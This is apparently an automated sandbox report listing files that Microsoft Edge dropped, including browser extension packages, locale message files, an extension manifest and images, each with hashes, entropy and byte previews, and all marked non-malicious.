SSDEEP:	384:puLGn1KIHXgrjzeReRlhv5bzX1sf8ANFlBZlVgQUP49fmA4tVyk4exlfiMRoLndl:puLqgrr/hv514lZmJUei/nb
MD5:	025FE5BCAB10E941F276145D9D00EC80
SHA1:	AC4C2C93FE10274716EC5603452269A8B5B31F71
SHA-256:	1AB07E887ACCA305058EEAB9053C96DC531C2C5C067AB4F30AFA2B31F1EDD966
SHA-512:	3785CFAE9F9AD3ECBC40BFBF822CC371965723610AF8C6965B8B0A1E3B4728E744A51678178B414329D4B46AFA5D3557B44A8723A1D89B7499B09E8F28C8C535
Malicious:	false
Preview:	Cr24....t.........0.."0....H.............0..........)P.....v+.8.f2I.}..=r..C\|........q.$...`\q..[....U...g'. U..R..'S.e..LH........<4VK....v.$0#.-a.......gr.3....#..QJ.....H?d....q.._.........$...._.^..J.U.+.tQ..K5V.f..w.Mqs...9.P..`(.z.9\|......P'....r.X........T+.IAL.>...\|~.?..FT.:..].w/...............o.....$...n..i...$.\...DH...<..f......l<.eh~\...S+...\|]$.4....g..r..6.......\|.......s3\.2..?..n...G..5.............U.....R.X.....N3l$_....\|H..q.UPm..6P.!.g..Q...]..[j.....]..JD...w..zV.....\|...A.]T..3lw...&.Aq.'K0..r.. ...N....".`5^..C...........0.."0....H.............0.........]......N..h...A..LY...%.s.....d..h#-/.U.I9..,.<.O1.)7.l.:W2..: ...E...2..s..W..T..\|3.....WS2N}.0g...T...b.q..wp.u....Z...)..2e}.r...!.u......@A..A..g.<.+:....m..[.....4..C&....."..}/9y%.....*..m..,.y...1...<=."eyI.G.@.3..=.....(.-...M..8A.................4Q..Mq_PQu...P.?J...T6..6..R/..N.\|}..cLFE....p..[DtQxdqM:b..1.....w4B..f)..(..(.!.A..lO.rC..n;=..B..b..._....H..c

C:\Users\user\AppData\Local\Temp\edge_BITS_8160_174044440\BIT83B.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	1874
Entropy (8bit):	7.6374348559363545
Encrypted:	false
SSDEEP:	48:K9gXuTgphzLcf9ZljWLQKfp1aAY8lmvsY:K9gXuTgzLm9feB18Iml
MD5:	E15208FF647AEA1698BFA7DA5287DF5E
SHA1:	BC5D6E7D0D71AE1BCAC13320EE237CE0ADC493F3
SHA-256:	8BFD50D350D47445B57BB1D61BBDE41CEDA7AC43DC81FCE95BF1AC646D97D2A0
SHA-512:	07E2435F9E609D92DAF97B5C6B75A79C9F8C229FACD24999A45D954AD2EDA130F7B7DEEAB6403F8518C5BFE2791B9796952C7EE58023488C90165CB1B0D5F47B
Malicious:	false
Preview:	Cr24....t.........0.."0....H.............0.........'U.....V..X.$.S.y.!.K.....E.$.......s......r.[.2...\.....hp.4O..!.;.....B.~Z..i..G..7......q,...q.j.;4y..K...6.I..A>d.>DHJ^t.F..g......7.....,_^.bhUl......!..Ss.......u..nc....:...L..+....U.f!O$.D"D].1.)/6..)8D..f....!.S....%.T..G...z.j..........\|....L.2!..Ch.e...k..g4u...x. ..!.......b..-.i.F....;.q.....<..=sj...e..%o........`....w...%.k:<..Q.....<...S.Wf.RP...z..).Jd.N..^q..O?..>F...Y........)..Lv.,_4..AW/...._,$UL...).g.`>...{.q.o........bNM....I."...V........w....4.G ..).\.h.......0.."0....H.............0.........]......N..h...A..LY...%.s.....d..h#-/.U.I9..,.<.O1.)7.l.:W2..: ...E...2..s..W..T..\|3.....WS2N}.0g...T...b.q..wp.u....Z...)..2e}.r...!.u......@A..A..g.<.+:....m..[.....4..C&....."..}/9y%.......m..,.y...1...<=."eyI.G.@.3..=.....(.-...M..8A........Mc.c..e.H<sk...\|R.]hd...V........lW".w.>..3.U......uL1q^.Q...<[$.r..n..9....s.l..G(,.....x..,q.;&l\%. ...0.S.I.J(..

C:\Users\user\AppData\Local\Temp\edge_BITS_8160_174044440\ef5f792e-9df7-4748-accf-02ec33a4a2c4 (copy)

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	1874
Entropy (8bit):	7.6374348559363545
Encrypted:	false
SSDEEP:	48:K9gXuTgphzLcf9ZljWLQKfp1aAY8lmvsY:K9gXuTgzLm9feB18Iml
MD5:	E15208FF647AEA1698BFA7DA5287DF5E
SHA1:	BC5D6E7D0D71AE1BCAC13320EE237CE0ADC493F3
SHA-256:	8BFD50D350D47445B57BB1D61BBDE41CEDA7AC43DC81FCE95BF1AC646D97D2A0
SHA-512:	07E2435F9E609D92DAF97B5C6B75A79C9F8C229FACD24999A45D954AD2EDA130F7B7DEEAB6403F8518C5BFE2791B9796952C7EE58023488C90165CB1B0D5F47B
Malicious:	false
Preview:	Cr24....t.........0.."0....H.............0.........'U.....V..X.$.S.y.!.K.....E.$.......s......r.[.2...\.....hp.4O..!.;.....B.~Z..i..G..7......q,...q.j.;4y..K...6.I..A>d.>DHJ^t.F..g......7.....,_^.bhUl......!..Ss.......u..nc....:...L..+....U.f!O$.D"D].1.)/6..)8D..f....!.S....%.T..G...z.j..........\|....L.2!..Ch.e...k..g4u...x. ..!.......b..-.i.F....;.q.....<..=sj...e..%o........`....w...%.k:<..Q.....<...S.Wf.RP...z..).Jd.N..^q..O?..>F...Y........)..Lv.,_4..AW/...._,$UL...).g.`>...{.q.o........bNM....I."...V........w....4.G ..).\.h.......0.."0....H.............0.........]......N..h...A..LY...%.s.....d..h#-/.U.I9..,.<.O1.)7.l.:W2..: ...E...2..s..W..T..\|3.....WS2N}.0g...T...b.q..wp.u....Z...)..2e}.r...!.u......@A..A..g.<.+:....m..[.....4..C&....."..}/9y%.......m..,.y...1...<=."eyI.G.@.3..=.....(.-...M..8A........Mc.c..e.H<sk...\|R.]hd...V........lW".w.>..3.U......uL1q^.Q...<[$.r..n..9....s.l..G(,.....x..,q.;&l\%. ...0.S.I.J(..

C:\Users\user\AppData\Local\Temp\ef1bc28f-6eeb-428d-8a9e-ff9aecb8458b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 204 x 264, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	437259
Entropy (8bit):	7.998726360451669
Encrypted:	true
SSDEEP:	12288:r0Ti9JPNfgBTIxXL2v6YRl5JCqqpRFW0X2yk:us1IBTI9LkhSqqQ0Xq
MD5:	D14135E953CC12D6CE5AB9529108AB12
SHA1:	A3CA22055B2864F479A137CFDA856009AEB693A7
SHA-256:	91D3663C9ED02759863A7B0D7BB909BC09C172FB698CA65F01C4624A8E09DF46
SHA-512:	9155BC046699A5B69424D2E1CD9AD00447C02E5CEC1377C8DAE592CB2639C1495FE0217FD906666FAF2D2D29F7FC27A2CA52DEC72B9A04D06DEBFC29F9C1C059
Malicious:	false
Preview:	.PNG........IHDR..............,......sRGB.........IDATx^..g.mE...`....f..A....Q......U~....;..e...A.T..%.. ..s.....=..u.9...gWM..9k....zzw.^.{..n..)G........l.S.B...`..!P ...`.4."..@...D0.X1...&>.....L.VLC ....@.@.S.....`..!P ...`.4."..@...D0.X1...&>.....L.VLC ....@.@.S.....`..!P ...`.4."..@...D0.X1...&>.....L.VLC ....@..J.....{..7.9.r.-....../}................g>s...K......G..n...._NW]u....<fr......#......O...?....n...M7.4...?.....9.....gl....MO\|..[.W_}....O..W.2=.....?..u. ...g..<.9..\|.....?......lz...f....+...9...t...w.{..(.k]X...7..~.Lw....'=.I...yf..........7.<=..O..p.;.l...7._...-..~........l.R.......}.U..........=...........U.Q=....~...4...~......\...Mx..zk...\|d.M..........<..'m..^E;Ge_{.....g..C...........k.p..y8.'`w........?.yz.....t.E.5g..........U.8...&.+..bz...8..~...\..w.KK...=......&....~.-.M.~....L..x.....h:..Z...+.~...O1.F>.9...nhy..=....p..--.u.Y..>..f.....].w......}&=..\.z=iH...c.=v........k....V.....'........

C:\Users\user\AppData\Local\Temp\scoped_dir8160_417283808\67646092-fafa-4917-9069-8df2e11811af.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir8160_417283808\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir8160_417283808\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8160_417283808\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8160_417283808\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\529abff5-7e54-44a5-a288-67feec315782.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	154477
Entropy (8bit):	7.835886983924039
Encrypted:	false
SSDEEP:	3072:edP3YiyHk53xr3zWwaFYgn5JFug0HjaHNK7XeSD/r/pLbWNiOAo1np:edPYJHAzyVu7HjacuSD/rBPBOJnp
MD5:	14937B985303ECCE4196154A24FC369A
SHA1:	ECFE89E11A8D08CE0C8745FF5735D5EDAD683730
SHA-256:	71006A5311819FEF45C659428944897184880BCDB571BF68C52B3D6EE97682FF
SHA-512:	1D03C75E4D2CD57EEE7B0E93E2DE293B41F280C415FB2446AC234FC5AFD11FE2F2FCC8AB9843DB0847C2CE6BD7DF7213FCF249EA71896FBF6C0696E3F5AEE46C
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........%0............G.m.}...CG.....a.s.:.S..QiI.fT.k.MdOF.2....D...v`m...M.7'.R.d...8....2..~.<w8!.W..Sg.._A6.(.pC..w.=..!..7h!J...].....3......Kf..k...\|....6./.p.....A....e.1.y.<~Mu..+(v8W........?=.V+.Gb&...u8)...=Qt...... ......x.}.f..&X.SN9e..L....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E.!....~..E...Au.C.q..y.?2An.a..Zn}. H~.vtgI...o.\|.j.e....p.........".&...........Z]o.H..+..zF.......S.E}@.F..".P`...3......jW....H.H...:..8.......<...........Z.e.>..vV.......J.,/.X.....?.%.....6....m#.u].Z...[.s.M_...J.."9l..l...,\|.....r...QC.....4:....wj.O...5....s.n.%.....y....c.....#F........)gv(..!S

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
